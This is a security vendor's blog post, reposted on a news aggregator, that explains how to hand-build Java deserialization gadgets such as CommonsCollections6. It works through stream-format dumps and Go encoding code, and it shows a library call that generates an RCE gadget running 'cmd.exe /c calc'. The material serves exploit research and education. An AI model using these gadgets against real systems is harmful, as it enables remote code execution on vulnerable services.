Close Menu

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    What's Hot

    SSA-734261 V1.0: Authentication Bypass Vulnerability in Energy Services Using Elspec G5DFR

    April 8, 2026

    Incident: Eagers Automotive says IT outage stems from cyber incident | iTnews

    April 8, 2026

    Accelerating Our Footprint and Innovation: Why VulnCheck Posted a Record-Setting Q3 | Blog

    April 8, 2026
    Facebook X (Twitter) Instagram
    • Demos
    • Technology
    • Gaming
    • Buy Now
    Facebook X (Twitter) Instagram Pinterest Vimeo
    Canadian Cyber WatchCanadian Cyber Watch
    • Home
    • News
    • Alerts
    • Tips
    • Tools
    • Industry
    • Incidents
    • Events
    • Education
    Subscribe
    Canadian Cyber WatchCanadian Cyber Watch
    Home»News»Making Serialization Gadgets by Hand – Java | Blog
    News

    Making Serialization Gadgets by Hand – Java | Blog

    adminBy adminMarch 27, 2026No Comments21 Mins Read
    Share Facebook Twitter Pinterest LinkedIn Tumblr Reddit Telegram Email
    Share
    Facebook Twitter LinkedIn Pinterest Email



    • How to create your own Java gadget deserialization library, including a breakdown on Java object streams
    • How to use VulnChecks’s Java deserialization library for Golang-based exploits

    This blog serves as a follow-up to our previous blog on writing .NET serialization gadgets by hand. While that piece is not a necessary pre-requisite to understand the contents of this blog, it may provide some insight as to why we are writing these gadgets by hand.

    This time we are taking a look at the “Java Object Serialization Protocol”, whose specifications are not nearly as verbose or detailed as the .NET specifications. Nevertheless, with the protocol analysis tool we’ll be using, vague specs will be enough.

    The items below will help with following along with the blog:

    • The entire Java Objection Serialization spec is here, with the most important bits for our purposes documented in the “rules of grammar” here and in “Symbols and Constants” here
    • An example serialized Java object gadget stream (CommonsCollections6) that we will be working with is viewable using this CyberChef page maintained by GCHQ
    • A Java object analysis tool for “dumping” the stream: https://github.com/phith0n/zkar
    • The zkar dump hosted here (more on this in a moment)
    • VulnCheck’s Java serialization gadget library is located on GitHub here

    With .NET, I described the serialization stream as a sequence of discrete data structures called “records.” The Java object serialization stream can be thought of in the same way, though with less complexity and greater verbosity. We will also be calling the constituent structs of the stream “records” here, too. To make things easier for myself (and readers) this time around, I used a tool called, zkar (credit to phith0n), that takes a serialization object binary stream as input and outputs what is basically a blueprint for the object, describing all of these records one by one in the order that they exist in the object. With the identification of the records laid out for you in this way, you can simply start building your structs out one by one. An example of a snippet from the dump is below.

    Given the verbose nature of the Java stream, we won’t cover the full object in this blog, but rather some of the smaller pieces (records) that make up the stream. The zkar output for this gadget is about 500 lines and mostly consists of the same object types with more of the same nested inside, so readers should be able to understand the gist.

    In the first 10 lines of the zkar output, there are a few mandatory elements that kick off the stream. First is the “magic”, denoting that the upcoming binary blob is indeed a serialized Java object stream that, in line with the specification provided earlier, must start with a magic:

    stream:
      magic version contents
    

    After cross-referencing this with the zkar output, we see the magic, a version, and the start of “contents”:

    @Magic - 0xac ed
    @Version - 0x00 05
    @Contents
      TC_OBJECT - 0x73
        TC_CLASSDESC - 0x72
        @ClassName
            @Length - 17 - 0x00 11
            @Value - java.util.HashSet - 0x6a 61 76 61 2e 75 74 69 6c 2e 48 61 73 68 53 65 74
        @SerialVersionUID - -5024744406713321676 - 0xba 44 85 95 96 b8 b7 34
        @Handler - 8257536
    

    The magic is made up of the two-byte hexadecimal value 0xACED, followed by the version, which will remain static as another two-byte value: 0x0005.

    Reading The Dump and “Specs”

    Following the magic (written as @Magic in the zkar output) and version, we get contents, which according to the spec can be an object or blockdata:

    content: // content can be an object or a blockdata
      object
      blockdata
    

    This should give you an idea of how to read the spec. Basically, it shows some record type (in this case, content) and then right below it,all the possible records that you can represent content. In this case, content can be an object or blockdata. In order to see what object and blockdata are, you will need to go look at the sections that start with object: and blockdata:.

    The section for object is shown below:

    object:
      newObject
      newClass
      newArray
      newString
      newEnum
      newClassDesc
      prevObject
      nullReference
      exception
      TC_RESET
    

    Here we see that “object” can be ten different things, and for each item, we need to examine their respective sections, or “specs” as I will be calling them.

    Let’s use an example that actually defines a record rather than just pointing to yet another record which points to yet another record, etc. Looking at the spec for blockdata, which points to either a blockdatashort or a blockdatalong. But then right beneath blockdata you can see the specs for blockdatashort and blockdatalong. Both of these show just one line and they start with TC_, followed by a sequence of data types; this is information defining exactly how to represent that record in the stream, in binary.

    blockdata: // has two entries beneath it showing that it may be represented by two different possible items
      blockdatashort <- can be this 
      blockdatalong <-  or this, see the next two blocks for what these look like
    
    blockdatashort: // has only one line. Also it starts with a TC_ byte, another indicator that we are defining "actual" data
      TC_BLOCKDATA (unsigned byte) (byte)[size] <- the byte layout, what a blockdatashort MUST look like
    
    blockdatalong:
      TC_BLOCKDATALONG (int) (byte)[size] <- same as blockdata but it can be 0xffffffff long.
    

    Notice that the first item in that line is TC_BLOCKDATALONG. This all capital word that starts with TC_ is a placeholder for what is basically the record code, a list of which is seen in the “Terminal Symbols and Constants” section mentioned earlier. These TC_ values are very similar to the “RecordTypeEnums” from the .NET specification, in that they are a single byte that serves the same purpose of describing the upcoming record.

    Looking at that constant’s section and cross referencing it with the above spec, it’s possible to figure out that the blockdatalong is made up of TC_BLOCKDATALONG, which is represented as a hexadecimal 0x7A. That is then followed by a four-byte int representing the size of the last portion, which is just a sequence of bytes, the size of which is defined by the preceding four-byte int.

    That is the basic run down on how to understand this dump and use the spec to figure out the rules. If it still doesn’t make sense, don’t worry — it should get easier as we see more of them.

    So looking back at the object, first we see the constant, denoting which record is coming up; in this case it is “TC_OBJECT”, which is represented as 0x73. We know from the spec that TC_OBJECT is used by the newObject, for which the spec is:

    newObject:
      TC_OBJECT classDesc newHandle classdata[]  // data for each class
    

    From this we can tell that newObject is made up of the TC_OBJECT code, followed by a classDesc, newHandle, and a sequence of classdatas.

    So first we need to define the classDesc, which as the name suggests, describes a class. Looking at the spec below, you can get an idea of what is expected in this record:

    classDesc:
      newClassDesc
      nullReference
      (ClassDesc)prevObject      // an object required to be of type ClassDesc
    
    newClassDesc:
      TC_CLASSDESC className serialVersionUID newHandle classDescInfo
      TC_PROXYCLASSDESC newHandle proxyClassDescInfo
    
    nullReference
      TC_NULL
    

    So looking at the dump we know that we will be making the classDesc using newClassDesc because we see the TC_CLASSDESC type code being used.

    So the first item after the type code (TC_CLASSDESC) we see we need the className which, not too dissimilar from .NET, is a string, prefixed by its length. Though instead of using a 7-bit length encoding like in .NET, this protocol just wants a two byte, Big-endian number representing the length of the string.

    In this case, we know the class name is java.util.HashSet, which is 17 characters long, so we end up with 0x0011 immediately followed by the string “java.util.HashSet”.

    Next down the newClassDesc list is the serialVersionUID, which exists to determine if a version of a class and a serialized stream object match. This way, whatever is parsing the stream will know whether or not it should attempt to deserialize the provided stream into its version of the class. For our purposes, just copy what you see, and in this case it is 0xBA44859596B8B734.

    Then we see newHandle, aka Handler in zkar, which is described in the specs as:

    newHandle:       // The next number in sequence is assigned
                     // to the object being serialized or deserialized
    

    This is quite similar to the ObjectID in the .NET spec but represented in a different way. First of all, you do not need to actually include this value in the stream; it is a value that starts at 8257536 and iterates every time a record type is introduced that has newHandle in the specs. To clarify, you do not need to write the handles into the stream, whatever is parsing them is expected to keep track of how many objects it has parsed at any given point. While you do not explicitly write the handle into the stream yourself, you will use them as values when creating TC_REFERENCE records, which is basically identical to .NET’s MemberReference. We won’t go too far into these right now but at least know what handles are for and why they show up in the zkar dump.

    Let’s look at the next few lines of the zkar dump (lines 11-18):

    @ClassDescFlags - SC_SERIALIZABLE|SC_WRITE_METHOD - 0x03
    @FieldCount - 0 - 0x00 00
    []Fields
    []ClassAnnotations
    TC_ENDBLOCKDATA - 0x78
    @SuperClassDesc
    TC_NULL - 0x70
    @Handler - 8257537
    

    The next part here starts the final piece of newClassDesc, the classDescInfo, which from the protocol spec is made up of four other items:

    classDescInfo:
      classDescFlags fields classAnnotation superClassDesc
    

    classDescFlags is a single-byte bitwise flag. Going by the zkar output, we know this is going to be 0x03. There is more information about this in the spec’s classdata: section but for building out gadgets, we can just copy this byte and move on.

    The next item is fields:

    fields:
      (short)  fieldDesc[count]
    

    This one starts with a two-byte value that specifies the number of fields. This class apparently has no fields — therefore, the count is 0, which as a short is 0x0000.

    Following that is classAnnotation, which according to spec is endBlockData which optionally can be preceded by contents; though from what I have seen so far, it is most often just endBlockData.

    classAnnotation:
      endBlockData
      contents endBlockData      // contents written by annotateClass
    

    Next we have the superClassDesc, which can be yet another newClassDesc`, or alternatively *nullReference*, which is more commonly the case. Going by the dump here, we will use nullReferencewhich is just aTC_NULLcode byte, represented as0x70`.

    That finishes off the first part of the TC_OBJECT, so now let’s see what it would look like if we did this in Golang:

    // 'terminal codes'
    const TCNullCode = "\x70"
    const TCReferenceCode = "\x71"
    const TCClassDescCode = "\x72"
    ... // cut for brevity
    
    type TCContent interface {
    // we know we want everything to end up as a stream of bytes, so it makes sense
    // to have an interface for this to use across various "record" types.
        ToBytes() (string, bool) 
    }
    
    type Field interface {
    // Fields can be many different types, so it is best to implement an interface
    // for these, there will be more on fields later.
        ToFieldBin() (string, bool)
    }
    
    type TCClassDesc struct {
        Name            string // will be lenPrefixedString'd
        SerialVersionUID string // 8 bytes
        Flags           string // optional, if omitted will default to SCSerializableCode
        Fields          []Field
        SuperClassDesc   TCContent
    }
    
    type TCObject struct {
        ClassDesc TCClassDesc // will contain the part we just did 
        ClassData []TCContent
    }
    
    func (tcClassDesc *TCClassDesc) getFieldsBin() (string, bool) {
        binary := transform.PackBigInt16(len(tcClassDesc.Fields))
        for _, field := range tcClassDesc.Fields {
            bin, ok := field.ToFieldBin()
            if !ok {
                output.PrintfFrameworkError("Failed to get bin for field %q", field)
                return "", false
            }
            binary += bin
        }
        return binary, true
    }
    
    func (tcClassDesc TCClassDesc) ToBytes() (string, bool) {
        fieldsBinString, _ := tcClassDesc.getFieldsBin()
        if tcClassDesc.Flags == "" {
                tcClassDesc.Flags = SCSerializableCode
        }
    
        binary := TCClassDescCode +
            lenPrefixedString(tcClassDesc.Name) +
            tcClassDesc.SerialVersionUID +
            tcClassDesc.Flags +
            fieldsBinString
    
        // TODO support actual annotations
        binary += TCEndBlockDataCode
    
        if tcClassDesc.SuperClassDesc == nil {
                binary += TCNullCode
        } else {
                superClassString, ok := tcClassDesc.SuperClassDesc.ToBytes()
                if !ok {
                        return "", false
            }
                binary += superClassString
        }
        return binary, true
    }
    
    // actual usage 
    TCObject {
            ClassDesc: TCClassDesc {
                Name:           "java.util.HashSet",
                SerialVersionUID: "\xba\x44\x85\x95\x96\xb8\xb7\x34",
                Flags:          "\x03",
                Fields:         []Field{},
            },
    }
    

    Obviously there are some pieces I left out for brevity, such as the helper function, lenPrefixedString(), and some methods, but all of those can be found on the library github. This provides a basic outline of what we are going for, though.

    To complete the newObject that we started in the last section, we still need the classdata[] portion that supplies the data for the class that was defined.

    newObject:
      TC_OBJECT classDesc newHandle classdata[]  // data for each class
    
    classdata:
      nowrclass                 // SC_SERIALIZABLE & classDescFlag &&
                                // !(SC_WRITE_METHOD & classDescFlags)
      wrclass objectAnnotation  // SC_SERIALIZABLE & classDescFlag &&
                                // SC_WRITE_METHOD & classDescFlags
      externalContents          // SC_EXTERNALIZABLE & classDescFlag &&
                                // !(SC_BLOCKDATA  & classDescFlags
      objectAnnotation          // SC_EXTERNALIZABLE & classDescFlag&& 
                                // SC_BLOCKDATA & classDescFlags
    

    Looking at the dump, the next record that gets defined is the objectAnnotation, which ends up being blockdata.

    blockdatashort:
      TC_BLOCKDATA (unsigned byte) (byte)[size]
    

    This will be the TC_BLOCKDATA record byte (0x77); then a single byte denoting the size of bytes for the data; and then finally, the data itself.

    Note: This size value is NOT present in the zkar dump at the time of this writing, which is likely an oversight; I am just mentioning this here to prevent confusion, as it does need to be included in the stream.

    Another example of how to “code-ify” one of these records — something like this will work for TC_BLOCKDATA:

    type TCBlockData struct {
        Data []byte
    }
    
    func (tcBlockData TCBlockData) ToBytes() ([]byte, bool) {
        if len(tcBlockData.Data) > 0xff {
            output.PrintError("Provided data buffer is too large for this record type, use BLOCKDATALONG instead")
    return []byte{}, false
        }
        buf := []byte{byte(len(tcBlockData.Data))}
        return append(buf, tcBlockData.Data...), true
    }
    

    Following the TC_BLOCKDATA, we have what looks like another newObject record, nested inside of the first one. This sort of thing is what lends these gadgets their verbosity; a great deal of nesting is common in these gadgets, which makes understanding them difficult.

    This next object is similar to the previous one, but now we have fields, so let’s see how those manifest in the object stream. Here I will make the notation a little shorter and more readable since we have gone over this record type before.

    ClassName: 0x0034 + org.apache.commons.collections.keyvalue.TiedMapEntry:br
    SerialVersionUID: 0x8AADD29B39C11FDB:br
    ClassDescFlags: 0x02:br
    FieldCount: 0x0002

    Here is the spec for fields:

    fields:
      (short)  fieldDesc[count]
    
    fieldDesc:
      primitiveDesc
      objectDesc
    
    primitiveDesc:
      prim_typecode fieldName
    
    objectDesc:
      obj_typecode fieldName className1
    
    fieldName:
      (utf)
    
    className1:
      (String)object             // String containing the field's type,
                                 // in field descriptor format
    prim_typecode:
      `B'       // byte
      `C'       // char
      `D'       // double
      `F'       // float
      `I'       // integer
      `J'       // long
      `S'       // short
      `Z'       // boolean
    
    obj_typecode:
      `[`   // array
      `L'   // object
    

    So we have already seen the first part of the `fields` section, it is a short (two bytes) that represents the number of fields. But in our previous example there were no fields. However, if fields do exist for the class, like in this one, then they must follow the fieldDesc spec, which can be one of two types: a primitiveDesc or an objectDesc.

    The dump for the Fields section of TiedMapEntry is here:

    @FieldCount - 2 - 0x00 02
    []Fields
      Index 0:
        Object - L - 0x4c
        @FieldName
        @Length - 3 - 0x00 03
        @Value - key - 0x6b 65 79
        @ClassName
        TC_STRING - 0x74
            @Handler - 8257539
            @Length - 18 - 0x00 12
            @Value - Ljava/lang/Object; - 0x4c 6a 61 76 61 2f 6c 61 6e 67 2f 4f 62 6a 65 63 74 3b
      Index 1:
        Object - L - 0x4c
        @FieldName
        @Length - 3 - 0x00 03
        @Value - map - 0x6d 61 70
        @ClassName
        TC_STRING - 0x74
            @Handler - 8257540
            @Length - 15 - 0x00 0f
            @Value - Ljava/util/Map; - 0x4c 6a 61 76 61 2f 75 74 69 6c 2f 4d 61 70 3b
    

    Here we are expecting to define two fields, both of which will be objectDesc. This is denoted by the L value that prefaces both defined fields. With the objectDesc, we know we need to define the fieldName, followed by the className so let’s define the two fields.

    Field1:
    fieldName: L (object typecode) + 0x03 (length of value) + key (value)
    className: 0x74 (states that this is a string) + 0x0012 (length of value) + Ljava/lang/Object; (value)

    Field2:
    fieldName: L (object typecode) + 0x03 (length of value) + map (value)
    className: 0x74 (states that this is a string) + 0x000f (length of value) + Ljava/util/Map; (value)

    Following this, you would move onto classAnnotation and so on just like the previous object.

    But what if a field value were a primitiveDesc instead of an objectDesc?

    primitiveDesc:
      prim_typecode fieldName
    
    prim_typecode:
      `B'       // byte
      `C'       // char
      `D'       // double
      `F'       // float
      `I'       // integer
      `J'       // long
      `S'       // short
      `Z'       // boolean
    
    obj_typecode:
      `[`   // array
      `L'       // object
    

    At this point I am going to break away from the object we were defining before and use some other portions of the dump as examples. Remember that we cannot build the entire gadget in this blog as it is simply too large. Instead the goal is to explain how to read and understand the spec while explaining the trickier parts and offering some examples of how to “codify” some parts of the spec.

    That said, if we go further down in the dump, we see a record whose TC_CLASSDESC includes two fields, both of which are primitiveDescs.

    ...
    @FieldCount - 2 - 0x00 02
    []Fields
      Index 0:
        Float - F - 0x46
        @FieldName
        @Length - 10 - 0x00 0a
        @Value - loadFactor - 0x6c 6f 61 64 46 61 63 74 6f 72
      Index 1:
        Integer - I - 0x49
        @FieldName
        @Length - 9 - 0x00 09
        @Value - threshold - 0x74 68 72 65 73 68 6f 6c 64
    ...
    

    So starting from just after the fieldCount, we can see the first field being prefaced with an F. We know from the spec referenced above that it is the prim_typecode that denotes a float.

    Now with fields, remember we are just defining the “metadata” for them, such as the name and type, not the actual values (yet). So here we are saying this is a float, called loadFactor. This is represented as yet another length-prefixed string, so the entire first field above is just F (prim_typecode), 0x000a (value length), and loadFactor (value).

    The same idea is followed for the second field.
    I (primitive typecode for Integer) + 0x0009 (value length) + threshold (value).

    That’s pretty much it for primitive fields. If you want to see where the actual numerical values are located for these, just look a little further in the dump at the classData section:

    ...
    []ClassData
      @ClassName - java.util.HashMap
        {}Attributes
        loadFactor
            (float)0.75 - 0x3f 40 00 00
        threshold
            (integer)0 - 0x00 00 00 00
    ...
    

    In the classData, under attributes, you can see the actual data for the primitive values whose positions correspond to the position of their respective “keys” in the Fields section. The loadFactor (float) is 0.75,represented in hexadecimal as 0x3f400000, and the integer is a four-byte hexadecimal 0x00000000 which is obviously just zero.

    Another field type that is a little bit different is the array field. For the field section, it operates the same as all of the objectDesc fields: some sort of prim_typecode, in this case a single opening bracket [ representing an array, followed by a FieldName and a ClassName, both of which are len-prefixed string values with the ClassName being a separate record with its own constant, 0x74.

    Just to show an example of this using the zkar dump, here is the Fields section for ChainedTransformer:

    @FieldCount - 1 - 0x00 01
    []Fields
      Index 0:
        Array - [ - 0x5b
        @FieldName
        @Length - 13 - 0x00 0d
        @Value - iTransformers - 0x69 54 72 61 6e 73 66 6f 72 6d 65 72 73
        @ClassName
        TC_STRING - 0x74
            @Handler - 8257547
            @Length - 45 - 0x00 2d
            @Value - [Lorg/apache/commons/collections/Transformer; - 0x5b 4c 6f 72 67 2f 61 70 61 63 68 65 2f 63 6f 6d 6d 6f 6e 73 2f 63 6f 6c 6c 65 63 74 69 6f 6e 73 2f 54 72 61 6e 73 66 6f 72 6d 65 72 3b
    

    The array values, as with other fields, can be found by looking at the defining class’s []ClassData attribute that corresponds to the field’s position.

    The spec for arrays is listed in the spec as newArray:

    newArray:
      TC_ARRAY classDesc newHandle (int) values[size]
    

    This will be a single byte, then the classDesc —the handle is implied, so it does not need to be added by us — then a four-byte integer representing the number of values in the array, finally followed by the array values themselves. We saw the Fields section for ChainedTransformer, so now let’s look at the actual array object to which the field referred below. Some information has been omitted for brevity and clarity.

    ,..
    []ClassData
      @ClassName - org.apache.commons.collections.functors.ChainedTransformer
        {}Attributes
          iTransformers
            TC_ARRAY - 0x75
              TC_CLASSDESC - 0x72
                @ClassName
                  @Length - 45 - 0x00 2d
                  @Value - [Lorg.apache.commons.collections.Transformer; - 0x5b 4c 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 6d 6d 6f 6e 73 2e 63 6f 6c 6c 65 63 74 69 6f 6e 73 2e 54 72 61 6e 73 66 6f 72 6d 65 72 3b
                @SerialVersionUID - -4803604734341277543 - 0xbd 56 2a f1 d8 34 18 99
                @Handler - 8257549
                @ClassDescFlags - SC_SERIALIZABLE - 0x02
                @FieldCount - 0 - 0x00 00
                []Fields
                []ClassAnnotations
                  TC_ENDBLOCKDATA - 0x78
                @SuperClassDesc
                  TC_NULL - 0x70
              @Handler - 8257550
               @ArraySize - 5 - 0x00 00 00 05
               []Values
                Index 0
                  TC_OBJECT - 0x73
                     TC_CLASSDESC - 0x72
                    --- OMITTED FOR BREVITY ---
                     @Handler - 8257552
                     []ClassData
                       @ClassName - org.apache.commons.collections.functors.ConstantTransformer
                         {}Attributes
                         iConstant
                           TC_CLASS - 0x76
                             TC_CLASSDESC - 0x72
                                --- OMITTED FOR BREVITY ---
                             @Handler - 8257554
                Index 1
                  ...
    

    We will only briefly go over the first item in the array mentioned in the field since this particular array is quite large; all five items are TC_OBJECTs.

    From the top the TC_ARRAY-identifying byte can be seen, represented as 0x75. Next, per the specification, is the TC_CLASSDESC, which we have already gone over earlier in this blog.

    Following the class description is the size of the array, represented here as 0x00000005.
    After this are the values. In the dump above, the first item is shown, which is yet another TC_OBJECT (more nesting!). You can view the full zkar dump for the complete list of array items but this shows the structure of how the array field is laid out. Keep in mind that any of these TC_OBJECTs may contain fields with arrays that yet contain more arrays that contain more objects, and so on.

    The last record we will cover is the TC_REFERENCE. In the spec it is called prevObject:

    prevObject
      TC_REFERENCE (int)handle
    

    The name prevObject makes sense, because as stated earlier in this blog post, it serves to reference another record that has been previously defined in the stream rather than redefining the entire record all over again (which would waste space).

    Let’s look at quick example using an excerpt from the dump:

    []Fields
      Index 0:
        Object - L - 0x4c
          @FieldName
            @Length - 9 - 0x00 09
            @Value - iConstant - 0x69 43 6f 6e 73 74 61 6e 74
        @ClassName
          TC_REFERENCE - 0x71
                @Handler - 8257539 - 0x00 7e 00 03
    

    This is referencing another TC_STRING that was defined earlier in the stream:

    []Fields
      Index 0:
        Object - L - 0x4c
        @FieldName
          @Length - 3 - 0x00 03
          @Value - key - 0x6b 65 79
        @ClassName
          TC_STRING - 0x74
            @Handler - 8257539
            @Length - 18 - 0x00 12
            @Value - Ljava/lang/Object; - 0x4c 6a 61 76 61 2f 6c 61 6e 67 2f 4f 62 6a 65 63 74 3b
    

    Defining the TC_REFERENCE is pretty straightforward:

    The code (0x71) + the four byte hexadecimal for the “handler” of the referenced object.

    See, simple!

    That about sums up the major points of the specification. For a full breakdown of the gadget and the code we wrote to generate it see the full golang package on our github.

    Just like the .NET gadget library, we tried to make VulnCheck’s Java serialization library as easy as possible to use.

    Generating a gadget in Go using the library works as follows:

    import (
      "os"
    
      "github.com/vulncheck-oss/go-exploit/java"
    )
    func main() {
      gadgetData, ok := java.CreateCommonsCollections6("cmd.exe", "/c calc")
      if !ok {
        // failure!
      }
      // do something with gadgetData
    }
    

    If you wish to contribute or report bugs for this platform please feel free to make a pull request or issue on the go-exploit GitHub project.

    The VulnCheck research team is always looking for new vulnerabilities and exploits to curate. For more research like this, read our blogs Making Serialization Gadgets By Hand – .NET, Tales from the Exploit Mines: Gladinet Triofox CVE-2025-12480 RCE, and Metro4Shell: Exploitation of React Native’s Metro Server in the Wild Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.



    Source link

    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous ArticleIncident: KillSec ransomware claims breach on Australian educational support platform | Cyberdaily.au
    Next Article CISA Adds One Known Exploited Vulnerability to Catalog
    admin
    • Website

    Related Posts

    News

    Accelerating Our Footprint and Innovation: Why VulnCheck Posted a Record-Setting Q3 | Blog

    April 8, 2026
    News

    Is a $30,000 GPU Good at Password Cracking?

    April 8, 2026
    News

    InfoSec News Nuggets 04/08/2026

    April 8, 2026
    Add A Comment

    Comments are closed.

    Demo
    Top Posts

    Global Takedown of Massive IoT Botnets Halts Record-Breaking Cyberattacks

    March 20, 202619 Views

    Catchy & Intriguing

    March 17, 202619 Views

    The Grandparent Scam: How AI Voice Technology Makes This Old Con Deadlier Than Ever

    March 18, 202617 Views
    Stay In Touch
    • Facebook
    • YouTube
    • TikTok
    • WhatsApp
    • Twitter
    • Instagram
    Latest Reviews
    85
    Featured

    Pico 4 Review: Should You Actually Buy One Instead Of Quest 2?

    January 15, 2021 Featured
    8.1
    Uncategorized

    A Review of the Venus Optics Argus 18mm f/0.95 MFT APO Lens

    January 15, 2021 Uncategorized
    8.9
    Editor's Picks

    DJI Avata Review: Immersive FPV Flying For Drone Enthusiasts

    January 15, 2021 Editor's Picks

    Subscribe to Updates

    Get the latest tech news from FooBar about tech, design and biz.

    Demo
    Most Popular

    Global Takedown of Massive IoT Botnets Halts Record-Breaking Cyberattacks

    March 20, 202619 Views

    Catchy & Intriguing

    March 17, 202619 Views

    The Grandparent Scam: How AI Voice Technology Makes This Old Con Deadlier Than Ever

    March 18, 202617 Views
    Our Picks

    SSA-734261 V1.0: Authentication Bypass Vulnerability in Energy Services Using Elspec G5DFR

    April 8, 2026

    Incident: Eagers Automotive says IT outage stems from cyber incident | iTnews

    April 8, 2026

    Accelerating Our Footprint and Innovation: Why VulnCheck Posted a Record-Setting Q3 | Blog

    April 8, 2026

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    Facebook X (Twitter) Instagram Pinterest
    • Home
    • Technology
    • Gaming
    • Phones
    • Buy Now
    © 2026 ThemeSphere. Designed by ThemeSphere.

    Type above and press Enter to search. Press Esc to cancel.